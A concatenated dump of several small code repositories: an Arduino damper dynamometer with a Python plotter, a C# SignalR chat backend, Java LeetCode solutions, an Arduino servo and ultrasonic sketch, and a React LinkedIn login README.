delay(200); } exit(0); } */ <file_sep>/DamperDyno/DamperDyno.ino /*========================================================================================== * Author: <NAME> - May 15, 2016 * Damper Dynamometer: Controls and Sensor Data Collection * * The Damper Dynamometer, Damper Dyno for short, uses pneumatic controls to send timed * outputs in order to actuate a damper inside the dyno case. A load cell and linear * potentiometer (LinearPot) installed inside the dyno case then measures the compression force * the damper experiences and the position of the damper respectively. By measuring time and * the position of the damper, a velocity is derived. The calculated velocity in inches per * second and calculated load (lbs) is then sent through the serial port to be processed * via Python in order to create a graph. From the graph, the damper's damping coefficients * can be determined and used to tune other dampers in the racecar. *=========================================================================================== * Edited By: <NAME> - April 10, 2017 * - Included a new 24bit ADC Shield for the Arduino and implemented the library that came * with the shield (Ard2499). * - Attempted to control the pneumatic outputs using PWM and PID control theories, ended up * using timed interrupts via TimerOne library. */ /*-------------------------Libraries-------------------------*/ #include <Wire.h> // Imports ADC Library #include <Ard2499.h> // Imports ADC Library Ard2499 ard2499board1; // Initializes ADC board #include <TimerOne.h> // Imports Timed Interrupts Library (compatible with Arduino Uno and Mega) /*-----------------Class Constants and Fields-----------------*/ const float LinearPot = A1; // LinPot ADC Channel 3 const float LoadCell = A3; // Load Cell Pin const int Button = 2; // Button pin const float LinearPotActuation = 4.000; // measured in inches const float NumDivisions = 1024.0; // Onboard 10-bit ADC const float PositionConversion = LinearPotActuation/NumDivisions; float t1; // time counter #1 float t2; // time counter #2 float p1; // position counter #1 float p2; // position counter #2 volatile int cycleCount = -1; // counts number of cycles performed const int compressionPin = 10; volatile int cState = LOW; // state of compression *cannot be initialize to have the same status as rebound* const int reboundPin = 9; volatile int rState = HIGH; <file_sep>/DamperDyno/Calculations.ino // Load Calculation int readLoad () { // Zeroing from LC&SGA Calibration with estimated attentuation factor return (ard2499board1.ltc2499Read() - 10471571); } // Velocity Calculation float readVelocity () { // Linear Potentiometer Actuation: 4 in. // Arduino Onboard ADC is 10-bit (1024 divisions) p2 = LinearPotActuation - (analogRead(LinearPot) * PositionConversion); t2 = millis()/1000; return (p2-p1)/(t2-t1); } <file_sep>/DamperDyno/ISR.ino // Interrupt Service Routine (ISR) void switchOutputs () { cState = !cState; digitalWrite(compressionPin, cState); rState = !rState; digitalWrite(reboundPin, rState); cycleCount += 0.5; } <file_sep>/PostProcessing/LiveGraph.py import matplotlib.pyplot as plt import matplotlib.animation as animation from matplotlib import style import serial style.use('seaborn-whitegrid') fig = plt.figure() ax1 = fig.add_subplot(1,1,1) plt.subplots_adjust(left=0.12, bottom=0.10, right=0.95, top=0.90, wspace=0.20, hspace=0) serialArduino = serial.Serial('/dev/cu.usbmodem1411',9600,timeout=0) def animate(i): #graph_data = open('example.txt','r').read() graph_data = serialArduino.readline().decode('utf-8') lines = graph_data.split('\n') xs = [] ys = [] for line in lines: if len(line) > 1: x, y = line.split(',') xs.append(x) ys.append(y) ax1.clear() ax1.plot(xs, ys, linewidth=1) ax1.set_xlabel('Velocity in./sec)') ax1.set_ylabel('Force (lbs)') ax1.set_title('Force vs. Velocity') ani = animation.FuncAnimation(fig, animate, interval=1000) plt.show()
a42059bf677c09b619209ce13e8dc608d920582c
[ "Python", "C++" ]
7
C++
BrianNTang/DamperDynamometer
501a4cbfcb0c65c2fe0bdb7bc409c40c67c1f601
a0c7c94acd171c7696e1e94c8895eeeb91004741
refs/heads/main
<file_sep>using StackChatAPI.Application.Parameters; using StackChatAPI.Domain.DTOs; using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; namespace StackChatAPI.Application.Interfaces.Services { public interface IMessageService { Task<IEnumerable<MessageDto>> GetAllMessages(int pageNumber, int pageSize); Task<MessageDto> SaveMessage(MessageDto message); } } <file_sep>using StackChatAPI.Application.Interfaces.Repositories; using StackChatAPI.Application.Interfaces.Services; using StackChatAPI.Application.Parameters; using StackChatAPI.Domain.DataModels; using StackChatAPI.Domain.DTOs; using System.Collections.Generic; using System.Linq; using System.Threading.Tasks; namespace StackChatAPI.Application.Services { public class MessageService : IMessageService { private readonly IMessageRepositoryAsync _messageRepositoryAsync; public MessageService(IMessageRepositoryAsync messageRepositoryAsync) { _messageRepositoryAsync = messageRepositoryAsync; } public async Task<IEnumerable<MessageDto>> GetAllMessages(int pageNumber, int pageSize) { var messages = await _messageRepositoryAsync.GetPagedMessages(pageNumber, pageSize); var msgDtos = new List<MessageDto>(); foreach (var message in messages) { msgDtos.Add(new MessageDto() { id = message.Id, userId = message.UserId, userName = message.Username, date = message.Date, type = message.Type, message = message.MessageContent }); } msgDtos = msgDtos.OrderBy(m => m.date).ToList(); return msgDtos; } public async Task<MessageDto> SaveMessage(MessageDto message) { await _messageRepositoryAsync.AddAsync(new Message() { UserId = message.userId, Username = message.userName, Type = message.type, MessageContent = message.message }); return message; } } } <file_sep>using System; using System.ComponentModel.DataAnnotations.Schema; namespace StackChatAPI.Domain.DataModels { public class UserConnection { public Guid Id { get; set; } public Guid UserId { get; set; } public Guid ToUserId { get; set; } public string LastMessage { get; set; } [Column(TypeName = "datetime2")] public DateTime CreatedAt { get; set; } [Column(TypeName = "datetime2")] public DateTime UpdatedAt { get; set; } } } <file_sep>using StackChatAPI.Application.Wrappers; using StackChatAPI.Domain.DataModels; using StackChatAPI.Domain.DTOs; using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; namespace StackChatAPI.Application.Interfaces.Services { public interface ILoginService { Task<Response<UserDto>> RegisterUser(UserDto user); } } <file_sep>using System; using System.ComponentModel.DataAnnotations.Schema; namespace StackChatAPI.Domain.DataModels { public class GroupUser { public Guid Id { get; set; } public Guid UserId { get; set; } public Guid GroupId { get; set; } [Column(TypeName = "datetime2")] public DateTime CreatedAt { get; set; } } }<file_sep>using System; using System.ComponentModel.DataAnnotations.Schema; namespace StackChatAPI.Domain.DataModels { public class User { public Guid Id { get; set; } public string Email { get; set; } public string UserName { get; set; } public string FirstName { get; set; } public string LastName { get; set; } public Guid? ConnectionId { get; set; } [Column(TypeName = "datetime2")] public DateTime CreatedAt { get; set; } } }<file_sep>namespace StackChatAPI.Domain.DTOs { public class UserConnectionId { public string ConnectionId { get; set; } } } <file_sep>using Microsoft.AspNet.SignalR; using Microsoft.AspNet.SignalR.Hubs; using StackChatAPI.Domain.DataModels; using StackChatAPI.Domain.DTOs; using StackChatAPI.Domain.Enums; using StackChatAPI.Infrastructure.Persistence; using StackChatAPI.SignalR; using System; namespace StackChatAPI { [HubName("StackHub")] public class StackHub : Hub { private readonly static ConnectionMapping<string> _connections = new ConnectionMapping<string>(); public void BroadcastMessage(MessageDto message) { Clients.All.messageReceived(message); } public void SendMessageToClient(MessageDto message) { using (var db = new StackChatContext()) { var msg = new Message() { Id = Guid.NewGuid(), UserId = message.userId, Username = message.userName, Type = MessageType.TextMessage, MessageContent = message.message, Date = DateTime.UtcNow }; db.Entry(msg).State = System.Data.Entity.EntityState.Added; db.SaveChanges(); } Clients.Others.messageReceived(message); } } }<file_sep>using StackChatAPI.Application.Interfaces.Repositories; using StackChatAPI.Application.Interfaces.Services; using StackChatAPI.Application.Wrappers; using StackChatAPI.Domain.DataModels; using StackChatAPI.Domain.DTOs; using System; using System.Threading.Tasks; namespace StackChatAPI.Application.Services { public class LoginService : ILoginService { private readonly IUserRepositoryAsync _userRepositoryAsync; public LoginService(IUserRepositoryAsync userRepositoryAsync) { _userRepositoryAsync = userRepositoryAsync; } public async Task<Response<UserDto>> RegisterUser(UserDto userDto) { User user = await _userRepositoryAsync.GetUserByEmail(userDto.email); if (user != null) { if (user.UserName != userDto.userName) { user.UserName = userDto.userName; await _userRepositoryAsync.UpdateAsync(user); } userDto.id = user.Id; userDto.createdAt = user.CreatedAt; return new Response<UserDto>(userDto); } else { user = await _userRepositoryAsync.AddAsync(new User() { Id = Guid.NewGuid(), FirstName = userDto.firstName, LastName = userDto.lastName, Email = userDto.email, UserName = userDto.userName, CreatedAt = DateTime.UtcNow }); userDto.id = user.Id; userDto.createdAt = user.CreatedAt; userDto.connectionId = user.ConnectionId; return new Response<UserDto>(userDto); } } } } <file_sep>using System; using System.Collections.Generic; using System.Text; namespace StackChatAPI.Application.Enums { public enum ResponseStatus { OK, NotFound, NoContent, BadRequest } } <file_sep>using System; namespace StackChatAPI.Domain.DTOs { public class UserConnectionDto { public Guid Id { get; set; } public Guid UserId { get; set; } public Guid ToUserId { get; set; } public string LastMessage { get; set; } public DateTime CreatedAt { get; set; } public DateTime UpdatedAt { get; set; } } } <file_sep>using Microsoft.AspNetCore.Mvc; using StackChatAPI.Application.Interfaces.Services; using StackChatAPI.Domain.DTOs; using System; using System.Threading.Tasks; using System.Web.Http; namespace StackChatAPI.Controllers { public class UsersController : ApiController { private readonly IUserService _userService; public UsersController(IUserService userService) { _userService = userService; } [System.Web.Http.HttpGet] public async Task<IActionResult> SearchUsers(string searchString) { return new OkObjectResult(await _userService.GetUsersByNameOrEmail(searchString)); } [System.Web.Http.HttpPut] public async Task<IActionResult> UpdateConnectionId(Guid id, UserConnectionId connection) { await _userService.UpdateUserConnectionId(id, connection.ConnectionId); return new OkResult(); } } } <file_sep>using StackChatAPI.Domain.Enums; using System; using System.ComponentModel.DataAnnotations.Schema; namespace StackChatAPI.Domain.DataModels { public class Message { public Message() { this.Id = Guid.NewGuid(); this.Date = DateTime.UtcNow; } public Guid Id { get; set; } public Guid UserId { get; set; } public string Username { get; set; } public MessageType Type { get; set; } public string MessageContent { get; set; } [Column(TypeName = "datetime2")] public DateTime Date { get; set; } } }<file_sep>using StackChatAPI.Domain.DataModels; using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; namespace StackChatAPI.Application.Interfaces.Repositories { public interface IMessageRepositoryAsync : IGenericRepositoryAsync<Message> { Task<IEnumerable<Message>> GetPagedMessages(int pageNumber, int pageSize); } } <file_sep>using Microsoft.AspNet.SignalR; using Microsoft.AspNetCore.Mvc; using StackChatAPI.Application.Interfaces.Services; using StackChatAPI.Domain.DTOs; using System; using System.Threading.Tasks; using System.Web.Http; namespace StackChatAPI.Controllers { [ApiVersion("1.0")] public class LoginController : ApiController { private readonly ILoginService _loginService; IHubContext hubContext = GlobalHost.ConnectionManager.GetHubContext<StackHub>(); public LoginController(ILoginService loginService) { _loginService = loginService; } [System.Web.Http.HttpPost] public async Task<IActionResult> LoginUser(UserDto user) { var response = await _loginService.RegisterUser(user); hubContext.Clients.All.userLogin(user.userName + " Logged in!"); return new OkObjectResult(response); } } } <file_sep>using StackChatAPI.Domain.DataModels; using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; namespace StackChatAPI.Application.Interfaces.Repositories { public interface IUserRepositoryAsync : IGenericRepositoryAsync<User> { Task<IEnumerable<User>> GetUsersByNameOrEmail(string searchString); Task<User> GetUserByEmail(string email); } } <file_sep>using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; namespace StackChatAPI.Domain.Enums { public enum MessageType { TextMessage, Image, Video } } <file_sep>using StackChatAPI.Application.Interfaces.Repositories; using StackChatAPI.Domain.DataModels; using System.Collections.Generic; using System.Data.Entity; using System.Linq; using System.Threading.Tasks; namespace StackChatAPI.Infrastructure.Persistence.Repositories { public class UserRepositoryAsync : GenericRepositoryAsync<User>, IUserRepositoryAsync { private readonly DbSet<User> _user; public UserRepositoryAsync(StackChatContext dbContext) : base(dbContext) { _user = dbContext.Set<User>(); } public async Task<User> GetUserByEmail(string email) { return await _user.Where(u => u.Email == email).FirstOrDefaultAsync(); } public async Task<IEnumerable<User>> GetUsersByNameOrEmail(string searchString) { return await _user.Where(u => (u.FirstName + u.LastName).Contains(searchString) || u.Email.Contains(searchString) ).ToListAsync(); } } } <file_sep>using StackChatAPI.Domain.DataModels; using System; using System.Data.Entity; using System.Data.Entity.ModelConfiguration.Conventions; namespace StackChatAPI.Infrastructure.Persistence { public class StackChatContext : DbContext { public StackChatContext() : base("StackChatContext") { } public DbSet<User> Users { get; set; } public DbSet<Message> Messages { get; set; } public DbSet<Group> Groups { get; set; } public DbSet<GroupUser> GroupUsers { get; set; } protected override void OnModelCreating(DbModelBuilder modelBuilder) { modelBuilder.Conventions.Remove<PluralizingTableNameConvention>(); } } }<file_sep>using Microsoft.AspNetCore.Mvc; using StackChatAPI.Application.Interfaces.Services; using StackChatAPI.Application.Parameters; using StackChatAPI.Domain.DTOs; using System.Threading.Tasks; using System.Web.Http; namespace StackChatAPI.Controllers { public class MessagesController : ApiController { private readonly IMessageService _messageService; public MessagesController(IMessageService messageService) { _messageService = messageService; } [System.Web.Http.HttpGet] public async Task<IActionResult> GetAllMessages([FromQuery] int pageNumber, [FromQuery] int pageSize) { return new OkObjectResult(await _messageService.GetAllMessages(pageNumber, pageSize)); } public async Task<IActionResult> PostMessage(MessageDto message) { return new OkObjectResult(await _messageService.SaveMessage(message)); } } } <file_sep>using StackChatAPI.Application.Enums; using System; using System.Collections.Generic; using System.Text; namespace StackChatAPI.Application.Wrappers { public class Response<T> { public Response() { } public Response(T data, string message = null, ResponseStatus status = ResponseStatus.OK) { Succeeded = true; Message = message; Data = data; Status = status; } public Response(string message) { Succeeded = false; Message = message; } public bool Succeeded { get; set; } public string Message { get; set; } public List<string> Errors { get; set; } public T Data { get; set; } public ResponseStatus Status { get; set; } } } <file_sep>using StackChatAPI.Domain.Enums; using System; namespace StackChatAPI.Domain.DTOs { public class MessageDto { public Guid id { get; set; } public Guid userId { get; set; } public string userName { get; set; } public MessageType type { get; set; } public string message { get; set; } public DateTime date { get; set; } } } <file_sep>using System; using System.ComponentModel.DataAnnotations.Schema; namespace StackChatAPI.Domain.DataModels { public class Group { public Guid Id { get; set; } public string Name { get; set; } public Guid GroupOwner { get; set; } [Column(TypeName = "datetime2")] public DateTime CreatedAt { get; set; } } }<file_sep>using AutoMapper; using StackChatAPI.Domain.DataModels; using StackChatAPI.Domain.DTOs; namespace StackChatAPI.Domain.AutoMapper { public class GeneralProfile : Profile { public GeneralProfile() { CreateMap<Message, MessageDto>().ReverseMap(); CreateMap<User, UserDto>().ReverseMap(); } } } <file_sep>using StackChatAPI.Domain.DTOs; using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; namespace StackChatAPI.Application.Interfaces.Services { public interface IUserService { Task<IEnumerable<UserDto>> GetUsersByNameOrEmail(string searchString); Task UpdateUserConnectionId(Guid id, string connectionId); } } <file_sep>using StackChatAPI.Application.Interfaces.Repositories; using StackChatAPI.Domain.DataModels; using System; using System.Collections.Generic; using System.Data.Entity; using System.Linq; using System.Threading.Tasks; namespace StackChatAPI.Infrastructure.Persistence.Repositories { public class MessageRepositoryAsync : GenericRepositoryAsync<Message>, IMessageRepositoryAsync { private readonly DbSet<Message> _messages; public MessageRepositoryAsync(StackChatContext dbContext) : base(dbContext) { _messages = dbContext.Set<Message>(); } public async Task<IEnumerable<Message>> GetPagedMessages(int pageNumber, int pageSize) { return await _messages .OrderByDescending(m => m.Date) .Skip((pageNumber - 1) * pageSize) .Take(pageSize) .AsNoTracking() .ToListAsync(); } } } <file_sep>using StackChatAPI.Application.Interfaces.Repositories; using StackChatAPI.Application.Interfaces.Services; using StackChatAPI.Domain.DTOs; using System; using System.Collections.Generic; using System.Threading.Tasks; namespace StackChatAPI.Application.Services { public class UserService : IUserService { private readonly IUserRepositoryAsync _userRepositoryAsync; public UserService(IUserRepositoryAsync userRepositoryAsync) { _userRepositoryAsync = userRepositoryAsync; } public async Task<IEnumerable<UserDto>> GetUsersByNameOrEmail(string searchString) { var users = await _userRepositoryAsync.GetUsersByNameOrEmail(searchString); List<UserDto> userDtos = new List<UserDto>(); foreach(var user in users) { userDtos.Add(new UserDto() { id = user.Id, firstName = user.FirstName, lastName = user.LastName, email = user.Email, connectionId = user.ConnectionId }); } return userDtos; } public async Task UpdateUserConnectionId(Guid id, string connectionId) { var user = await _userRepositoryAsync.GetByIdAsync(id); if (user == null) { return; } user.ConnectionId = Guid.Parse(connectionId); await _userRepositoryAsync.UpdateAsync(user); } } }
c675ff5376dde6e658b21b9e689c312cee8ec9d8
[ "C#" ]
27
C#
hansana/StackChat-backend
9ffbbc6014399bf44a10709fa8b68c025bef35c1
d7062b0a0f447d95b01aa94ac5053e57cbc701e7
refs/heads/master
<repo_name>gattur/leetcode<file_sep>/problems/ContainerWithMostWater.java package problems; public class ContainerWithMostWater { static public int maxArea(int[] height) { int l = 0; int r = height.length - 1; int maxima = 0; int minima = 0; while (l < r && l < height.length && r >= 0) { if (height[l] < height[r]) { minima = height[l]; maxima = maxima < (minima * (r - l)) ? minima * (r - l) : maxima; l = l + 1; } else { minima = height[r]; maxima = maxima < (minima * (r - l)) ? minima * (r - l) : maxima; r = r - 1; } } return maxima; } public static void main(String[] args) { int[] inp = { 1, 8, 6, 2, 5, 4, 8, 3, 7 }; System.out.println(maxArea(inp)); } } <file_sep>/problems/AddTwoNumbers.java package problems; class ListNode { int val; ListNode next; ListNode(int x) { val = x; } } public class AddTwoNumbers { static ListNode getNum(ListNode l1,ListNode l2) { int num1=0; int num2=0; int pos=0; while(l1!=null || l2!=null) { if(l1!=null) { num1=(num1*10)+l1.val; l1=l1.next; } if(l2!=null) { num2=(num2*10)+l2.val; l2=l2.next; } } int sum=num1+num2; ListNode h=new ListNode(sum%10); sum=sum/10; ListNode tail=h; while(sum>0) { int temp=sum%10; sum=sum/10; ListNode t=new ListNode(temp); tail.next=t; tail=t; } return h; } public static void main(String[] args) { ListNode l1=new ListNode(2); l1.next=new ListNode(4); l1.next.next=new ListNode(3); ListNode l2=new ListNode(5); l2.next=new ListNode(6); l2.next.next=new ListNode(4); ListNode node=getNum(l1,l2); while(node!=null) { System.out.println(node.val); node=node.next; } } } <file_sep>/problems/LongestCommonPrefix.java package problems; public class LongestCommonPrefix { static String longestCommon(String[] strs) { if(strs[0]==""|| strs[1]=="") return ""; int maxima=0; int index_i=0; int index_j=0; int dp[][]=new int[strs[0].length()+1][strs[1].length()+1]; for (int i = 0; i < dp.length; i++) { for (int j = 0; j < dp[i].length; j++) { if(i==0 || j==0) dp[i][j]=0; else if(strs[0].charAt(i-1)==strs[1].charAt(j-1)) { dp[i][j]=dp[i-1][j-1]+1; } else { dp[i][j]=0; } if(dp[i][j]>maxima) { maxima=dp[i][j]; index_i=i-1; index_j=j-1; } } } if(maxima==0) return ""; char second[]=new char[maxima]; while(index_i>=0 && index_j>=0 && dp[index_i+1][index_j+1]!=0) { second[maxima-1]=strs[0].charAt(index_i); index_i=index_i-1; index_j=index_j-1; maxima=maxima-1; } String s=new String(second); return s; } static public String longestCommonPrefix(String[] strs) { /* int len=strs.length==2?0:1; if(strs.length==0) return ""; if(strs.length==1) return strs[0]; while(len<strs.length-1) { strs[0]=longestCommon(strs); len=len+1; strs[1]=strs[len]; }*/ if(strs.length!=3) return ""; strs[0]=longestCommon(strs); strs[1]=strs[2]; return longestCommon(strs); } public static void main(String[] args) { String str[]= {"dogc","racecar","car"}; System.out.println(longestCommonPrefix(str)); } } <file_sep>/problems/ZigZagConversion.java package problems; public class ZigZagConversion { static public String convert(String s, int numRows) { char []n=new char[s.length()]; int index=0; for (int i = 0; i < numRows; i++) { for (int j = i; j < s.length()+(2*(numRows-2)+2); j=j+(2*(numRows-2)+2)) { int k=j-(i*2); if(k!=j && k<s.length() && k>=0 && i!=numRows-1 && index<s.length()) n[index++]=s.charAt(k); if(j<s.length() && j>=0 && index<s.length()) n[index++]=s.charAt(j); if(numRows==1) return s; } } return String.valueOf(n); } public static void main(String[] args) { System.out.println(convert("PAYPALISHIRING",3)); } } <file_sep>/problems/LongestSubstringWithoutRepeatingCharacters.java package problems; import java.util.HashSet; import java.util.Set; public class LongestSubstringWithoutRepeatingCharacters { public static void main(String[] args) { String s = "abcabcbb"; Set<Character> set = new HashSet<>(); int i = 0; int j = 0; int ans = 0; while (i < s.length() && j < s.length()) { if (!set.contains(s.charAt(i))) { // System.out.println(index); set.add(s.charAt(i)); // i=index; i = i + 1; ans = Math.max(ans, i - j); // System.out.println(ans); } else { set.remove(s.charAt(j)); j = j + 1; // System.out.println(index+" "+j); } } System.out.println(ans); } } <file_sep>/problems/TripletSum.java package problems; import java.util.*; public class TripletSum { static public List<List<Integer>> threeSum(int[] nums) { List<List<Integer>> ans=new ArrayList<>(); Set<String> s=new TreeSet<>(); int j=0; int k=0; Arrays.sort(nums); for (int i = 0; i < nums.length-2; i++) { j=i+1; k=nums.length-1; while(i<k &&j<k) { if(nums[i]+nums[j]+nums[k]==0) { //String a=nums[i]+","+nums[j]+","+nums[k]; if(!s.contains(nums[i]+","+nums[j]+","+nums[k])) { List<Integer> temp=new ArrayList<>(); temp.add(nums[i]); temp.add(nums[j]); temp.add(nums[k]); ans.add(temp); s.add(nums[i]+","+nums[j]+","+nums[k]); } j=j+1; k=k-1; } else if(nums[i]+nums[j]+nums[k]<0) { j=j+1; } else { k=k-1; } } } return ans; } public static void main(String[] args) { int n[]= {-2,0,1,1,2}; List<List<Integer>> ans=threeSum(n); for (List<Integer> list : ans) { System.out.println(list); } } }
e9afa33e7c5a2338525580ad95e9d0f218ae8013
[ "Java" ]
6
Java
gattur/leetcode
441d0c005cf89b6eb24f6c3831394a05866ed005
048e081c24a2ac4cc202145db2e60f7d222fcab8
refs/heads/master
<file_sep>var expect = require("chai").expect; var tags = require("../lib/test.js"); // Passing Tests describe("Test", function(){ describe("#equals()", function(){ it("should equal", function(){ var answer = 43; expect(answer).to.equal(43); }); }); describe("#checkLength()", function(){ it("should equal", function(){ var assert = require('chai').assert , foo = 'bar' , beverages = { tea: [ 'chai', 'matcha', 'oolong' ] }; assert.typeOf(foo, 'string', 'foo is a string'); assert.equal(foo, 'bar', 'foo equal `bar`'); assert.lengthOf(foo, 3, 'foo`s value has a length of 3'); assert.lengthOf(beverages.tea, 3, 'beverages has 3 types of tea'); }); }); describe("#shouldAssert()", function(){ var should = require('chai').should() //actually call the the function , foo = 'bar' , beverages = { tea: [ 'chai', 'matcha', 'oolong' ] }; foo.should.be.a('string'); foo.should.equal('bar'); foo.should.have.length(3); beverages.should.have.property('tea').with.length(3); }); describe("#shouldAssert()", function(){ var square = require('chai').should() //actually call the the function , length = 5 , width = 5 , area = (length * width) length.should.be.a('number'); width.should.be.a('number'); length.should.equal(5); width.should.equal(5); area.should.be.above(length); }); describe("#credit()", function() { it("answer is not close enough", function(){ answer = 3.5654; expect(answer).to.be.closeTo(3.56, 3.57); }); }) it("Are you Asian?", function (){ var asian = true , notAsian = false; var assert = require('chai').assert; assert.isBoolean(asian, 'You are Asian!'); assert.isBoolean(notAsian, 'You are not Asian :('); }) it("Dancing in the rain", function (){ var assert = require('chai').assert; assert.match('RADANCINGIN', /DANCING/, 'regexp matches'); }) // Failing tests describe("#login()", function() { it("missing fields", function(){ username = null; password = '<PASSWORD>'; // expect(username).to.be.a('string'); expect(password).to.be.a('string'); expect(username).not.to.be.null; }); it("username too short/long", function(){ username = "12345"; expect(username).to.have.length.within(6,12); }); }) describe("#ageValidation()", function() { it("not old enough", function() { age = "string"; expect(age).to.be.within(18,120); }) it("age must be a nummber", function() { var assert = require('chai').assert; assert.isNumber(age, 'you are old enough?'); }) }) }); <file_sep>// Passed Tests exports.equal = function() { var answer = {} return answer; } exports.checkLength = function() { var assert = {} return assert; } exports.shouldAssert = function() { var should = {} return should; } exports.checkArea = function() { var square = {} return square; } exports.credit = function() { var answer = {} return answer; } // Failed Tests exports.login = function() { var username; var password; } exports.ageValidation = function() { var age; }
b73eb3b9d311a5f06272f482d2f64807d0fdfdea
[ "JavaScript" ]
2
JavaScript
obliviga/217-Node.js
2061489e47c1b613caf8a6b2cc9ced110dbb24c9
21ee139ab7f38d2711cd4feed1b589afe44d5d26
refs/heads/master
<repo_name>ma4ev/maven_regular_2<file_sep>/src/main/resources/config_db.properties url = jdbc:postgresql://127.0.0.1/ dbName = jdbc_1 userName = jdbc_1 password = <PASSWORD><file_sep>/pom.xml <?xml version="1.0" encoding="UTF-8"?> <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> <modelVersion>4.0.0</modelVersion> <groupId>com.ma</groupId> <artifactId>maven_regular_2</artifactId> <version>1.0-SNAPSHOT</version> <packaging>war</packaging> <build> <plugins> <plugin> <groupId>org.apache.maven.plugins</groupId> <artifactId>maven-assembly-plugin</artifactId> <executions> <execution> <phase>package</phase> <goals> <goal>single</goal> </goals> <configuration> <descriptorRefs> <descriptorRef>war-with-dependencies</descriptorRef> </descriptorRefs> </configuration> </execution> </executions> </plugin> <plugin> <groupId>org.apache.maven.plugins</groupId> <artifactId>maven-compiler-plugin</artifactId> <version>3.1</version> <configuration> <source>1.8</source> <target>1.8</target> </configuration> </plugin> </plugins> </build> <dependencies> <!-- https://mvnrepository.com/artifact/org.postgresql/postgresql --> <dependency> <groupId>org.postgresql</groupId> <artifactId>postgresql</artifactId> <version>42.2.2</version> </dependency> <!-- https://mvnrepository.com/artifact/com.opencsv/opencsv --> <dependency> <groupId>com.opencsv</groupId> <artifactId>opencsv</artifactId> <version>4.1</version> </dependency> <!-- https://mvnrepository.com/artifact/javax.servlet/javax.servlet-api --> <dependency> <groupId>javax.servlet</groupId> <artifactId>javax.servlet-api</artifactId> <version>4.0.0</version> <scope>provided</scope> </dependency> <!-- https://mvnrepository.com/artifact/org.apache.commons/commons-lang3 --> <dependency> <groupId>org.apache.commons</groupId> <artifactId>commons-lang3</artifactId> <version>3.7</version> </dependency> <!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core --> <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-core</artifactId> <version>2.11.0</version> </dependency> <!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-api --> <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-api</artifactId> <version>2.11.0</version> </dependency> <!-- https://mvnrepository.com/artifact/javax.servlet/jstl --> <dependency> <groupId>javax.servlet</groupId> <artifactId>jstl</artifactId> <version>1.2</version> </dependency> <!-- https://mvnrepository.com/artifact/org.apache.taglibs/taglibs-standard --> <dependency> <groupId>org.apache.taglibs</groupId> <artifactId>taglibs-standard</artifactId> <version>1.2.5</version> <type>pom</type> </dependency> </dependencies> </project><file_sep>/README.md Исходные данные Есть таблицы в БД: "payments" - платежи, "documents" - выписанные документы по оплате (связь documents.payment_id -> payments.id ), есть абстрактный класс работы с отчетами Report Задание Написать класс PaymentReport на основе Report, который выводит количество и сумму платежей для которых не сформированы документы за каждый месяц. Программа должена отдать отчет в виде CSV-файла с полями "мм.гг","количество платежей","сумма" и разделителем табуляция. Программа должна отдавать файл отчета через web. Результат Рабочий код и файл CSV, который отдает программа. <file_sep>/src/main/java/dao/DaoException.java package dao; public class DaoException extends Exception { DaoException(String msg, Exception e){ super(msg, e); } }
0716e15f392d4ceb7ae104e48f7965c67b25e65c
[ "Markdown", "Java", "Maven POM", "INI" ]
4
INI
ma4ev/maven_regular_2
2026457432f18c4e8d46b878b900f1f6864827ad
4a46f2a4a4155686d40dda0f81ff2ad20d37d47e
refs/heads/master
<repo_name>andrearamirez98/laboratorio-inteligencia<file_sep>/README.md # laboratorio-inteligencia <NAME> -<NAME>-<NAME> - <NAME> <file_sep>/sketch_nov10a.ino #include <Servo.h> #include <LiquidCrystal.h> #define Pecho 11 #define Ptrig 12 long duracion, distancia; int ledrojo = 9; int ledverde = 8; // Declaramos la variable para controlar el servo Servo servoMotor; LiquidCrystal lcd(1, 2, 4, 5, 6, 7); void setup() { // Iniciamos el monitor serie para mostrar el resultado lcd.begin(16, 2); pinMode(ledrojo, OUTPUT); pinMode(ledverde, OUTPUT); // Iniciamos el servo para que empiece a trabajar con el pin 9 servoMotor.attach(13); servoMotor.write(0); //ultrasonico pinMode(Pecho, INPUT); pinMode(Ptrig, OUTPUT); } void loop() { digitalWrite(Ptrig, LOW); delayMicroseconds(2); digitalWrite(Ptrig, HIGH); delayMicroseconds(10); digitalWrite(Ptrig, LOW); duracion = pulseIn(Pecho, HIGH); distancia = (duracion / 2) / 29; Serial.print(distancia); Serial.println("cm"); if ((distancia > 10) or (distancia < 0)) { digitalWrite(ledrojo, HIGH); digitalWrite(ledverde, LOW); // Esperamos 1 segundo lcd.clear(); lcd.print(" Bienvenidos "); lcd.setCursor(0, 1); lcd.print(" Conductores "); delay(1000); servoMotor.write(0); } else { // Desplazamos a la posición 180º digitalWrite(ledverde, HIGH); digitalWrite(ledrojo, LOW); lcd.clear(); lcd.print(" Porfavor "); lcd.setCursor(0, 1); lcd.print(" Siga "); // Esperamos 1 segundo servoMotor.write(120); delay(1000); } }
9b278220c7a653925e37f292296ebcc63c706fe9
[ "Markdown", "C++" ]
2
Markdown
andrearamirez98/laboratorio-inteligencia
8c496cbab57bd1f081fbdc2e9bf9318c7689bad0
4d1149c184895794e958ea97839c84999fa7c5ee
refs/heads/master
<file_sep>'use strict'; Object.defineProperty(exports, "__esModule", { value: true }); exports.default = function (name) { var match = RegExp('[?&]' + name + '=([^&]*)').exec(window.location.search); return match && decodeURIComponent(match[1].replace(/\+/g, ' ')); };<file_sep># React LinkedIn Login Button ```sh react-linkedin-login ``` ```js import React from 'react' import LinkedIn from 'react-linkedin-login' import styles from './styles.css' import autobind from 'autobind-decorator' export default class LoginWithLinkedin extends React.Component { static propTypes = { } @autobind callbackLinkedIn ({code, redirectUri}) { // Login with linkedin } render () { return ( <LinkedIn clientId='xxx' callback={this.callbackLinkedIn} className={styles.linkedin} text='LinkedIn' /> ) } } ```
39af4805d681e0f37ed165eaf46078018c3cc188
[ "JavaScript", "Markdown" ]
2
JavaScript
